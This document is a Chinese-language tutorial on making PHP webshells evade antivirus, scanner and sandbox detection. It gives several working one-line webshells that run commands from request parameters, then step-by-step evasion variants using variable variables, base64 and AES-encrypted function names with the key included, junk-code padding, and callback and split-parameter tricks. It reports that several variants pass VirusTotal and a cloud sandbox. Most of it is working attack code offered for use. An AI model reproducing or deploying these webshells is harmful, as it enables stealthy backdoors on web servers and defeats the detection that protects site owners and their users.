本文介绍php类webshell简单的免杀方法,总结不一定全面,仅供读者参考。
webshell通常可分为一句话木马,小马,大马,内存马。
一句话木马是最简单也是最常见的webshell形式,这种木马体积小,隐蔽较强,免杀相对容易;
小马是功能较为简单的Webshell,但比一句话木马稍复杂,可能会包含一个简单的文件管理界面或命令执行功能;
大马是功能全面的webshell,通常带有图形用户界面,提供文件管理、数据库操作、命令执行等多种功能,比如常用的蚁剑,冰蝎,哥斯拉等,大马由于功能复杂,在做免杀时一般需要将大马伪装成合法管理工具,分解成多个独立模块,分别加载,降低单点检测风险;
内存马是一种驻留在内存中的恶意代码,通常通过修改服务器进程的内存空间来执行,极难被发现和删除。与一般的webshell木马不同,内存马免杀一般需要采用内存隐藏,动态注入等方式,尽可能的隐藏恶意代码在内存中的存在,降低被持久发现的风险。
下面以一句话木马为例,通过几种一般的免杀方式对其进行免杀处理。
一句话木马
下面是常见的命令执行一句话木马:
<?php system($_POST['xxx']); ?> <?php eval($_POST['xxx']); ?> <?php echo shell_exec($_POST['xxx']); ?> <?php assert($_POST['xxx']); ?>
在做免杀的时候,不仅需要避免木马被杀毒软件和安全工具检测到,同时还需要保证木马功能正常运行。
在 windows10/11 虚拟机上利用 phpstudy 搭建一个本地网站,本实验木马放在网站下的 free-kill 目录中。编写好原始的一句话木马命名为 test0.php
<?php echo shell_exec($_GET['xxx']); ?>
执行 echo hack 命令验证功能:
使用河马webshell查杀(SHELLPUB.COM在线查杀),可以轻易检测出来:
可变变量绕过
一些安全检测机制会直接扫描代码中是否包含敏感函数调用,对此可以把敏感的函数名隐藏在可变变量中。下面通过把 shell_exec 隐藏到可变变量中实现:
<?php $v="x"; $$v="shell_exec"; #相当于是 $x="shell_exec"; echo $x($_GET['xxx']); ?>
河马查杀能检测出来:
单纯的可变变量特性一般过不了杀软,该方法通常需要和其他绕过方法配合使用。
各种加密绕过
将特征函数先用某种加密方式加密,再解密。
比如简单的base64加密
在木马中把密文解密后调用:
<?php $v=base64_decode("c2hlbGxfZXhlYw=="); echo $v($_GET['xxx']); ?>
功能验证
简单的加密过不了杀软,还是能被检测出来:
但是,可以考虑和代码混淆一起使用。在代码中加入与主要功能无关的代码,可以干扰分析工具和反病毒软件的检测,提高隐蔽性。
在此基础上,增加safe_waf和Safe两个无用函数并调用:
<?php function safe_waf(){ $data1 = "1qazxsw23edcvfr45tgb"; $data2 = "1qazXSW@3edcVFR$6yhn"; $data3 = "!QAZxsw2#EDCvfr4%TGB"; for ($i = 0; $i < 10; $i++) { $data1[$i % strlen($data1)]; } $a = 5; $b = 10; $c = $a + $b; $a_safe = array(); for ($j = 0; $j < 10; $j++) { $a_safe[] = md5($j.$data2); } return $c; } function Safe(){ $t = "1qazxsw23edcvfr45tgb"; $result = strrev($t); return $result; } function DD($Data) { return base64_decode($Data); } safe_waf(); echo DD("c2hlbGxfZXhlYw==")($_GET['xxx']); Safe(); ?>
修改后可以过通过河马
VT分析平台(VirusTotal)也能通过所有杀软:
然而可以被云沙箱检测出来(安恒云沙箱):
此外,加密函数可以考虑采用更复杂的加密,比如AES加密。
首先写一个加密代码,在本地生成一个key和密文:
<?php function generateKey($length = 32) { return openssl_random_pseudo_bytes($length); } function encrypt($data, $key) { $iv = openssl_random_pseudo_bytes(openssl_cipher_iv_length('aes-256-cbc')); $ciphertext = openssl_encrypt($data, 'aes-256-cbc', $key, OPENSSL_RAW_DATA, $iv); return base64_encode($iv . $ciphertext); } $key = generateKey(); $original_data = "shell_exec"; $encrypted_data = encrypt($original_data, $key); echo "key = " . bin2hex($key) . "\n"; echo "Encrypted Data: " . $encrypted_data . "\n"; ?>
key = 88c266a678f21d1713e14b032e16475897290d86a692f818bbd89234d7757ec4 Encrypted Data: xlri1KQnFm7Z7osHErvWBZn9tFtE5uSX9gZ1yNSef2s=
然后在木马中传入密文和key,并写一个解码函数:
<?php function DD($Data, $k) { $data = base64_decode($Data); $len = openssl_cipher_iv_length('aes-256-cbc'); $iv = substr($data, 0, $len); $c = substr($data, $len); return openssl_decrypt($c, 'aes-256-cbc', hex2bin($k), OPENSSL_RAW_DATA, $iv); } echo DD("xlri1KQnFm7Z7osHErvWBZn9tFtE5uSX9gZ1yNSef2s=","88c266a678f21d1713e14b032e16475897290d86a692f818bbd89234d7757ec4")($_GET['xxx']); ?>
样例 test3.php 功能验证:
该样例可以逃过安恒的沙箱查杀:
试一试河马和VT,也可以通过:
传参绕过
可以把传入的函数名写在请求中获取,通过将函数名动态地从外部传递。
<?php $v=$_GET['func']; $v($_GET['xxx']); ?>
此时可以把func传参为system,把xxx作为命令。
该方法可以与回调函数结合:
<?php $f=$_GET['func']; $v=$_GET['xxx']; call_user_func($f,$v); ?>
结合前面的加密绕过思路,加密call_user_func函数:
<?php function DD($Data) { return base64_decode($Data); } $f=$_GET['func']; $v=$_GET['xxx']; DD("Y2FsbF91c2VyX2Z1bmM=")($f,$v); ?>
该例子仍能被河马查杀:
读者可以采用更复杂的加密函数尝试。
传参混淆
使用php中的分隔函数,用某个符号把传入的参数做一个分隔,再结合回调函数调用执行。
<?php function DD($Data) { return base64_decode($Data); } $a = explode("!",$_GET['s']); DD("Y2FsbF91c2VyX2Z1bmM=")($a[0],$a[1]); ?>
这里,攻击者可以传入 s=system!echo hack 达到目的。
该方法可以避开河马查杀:
VT上通过所有杀软:
沙箱检测也顺利绕过: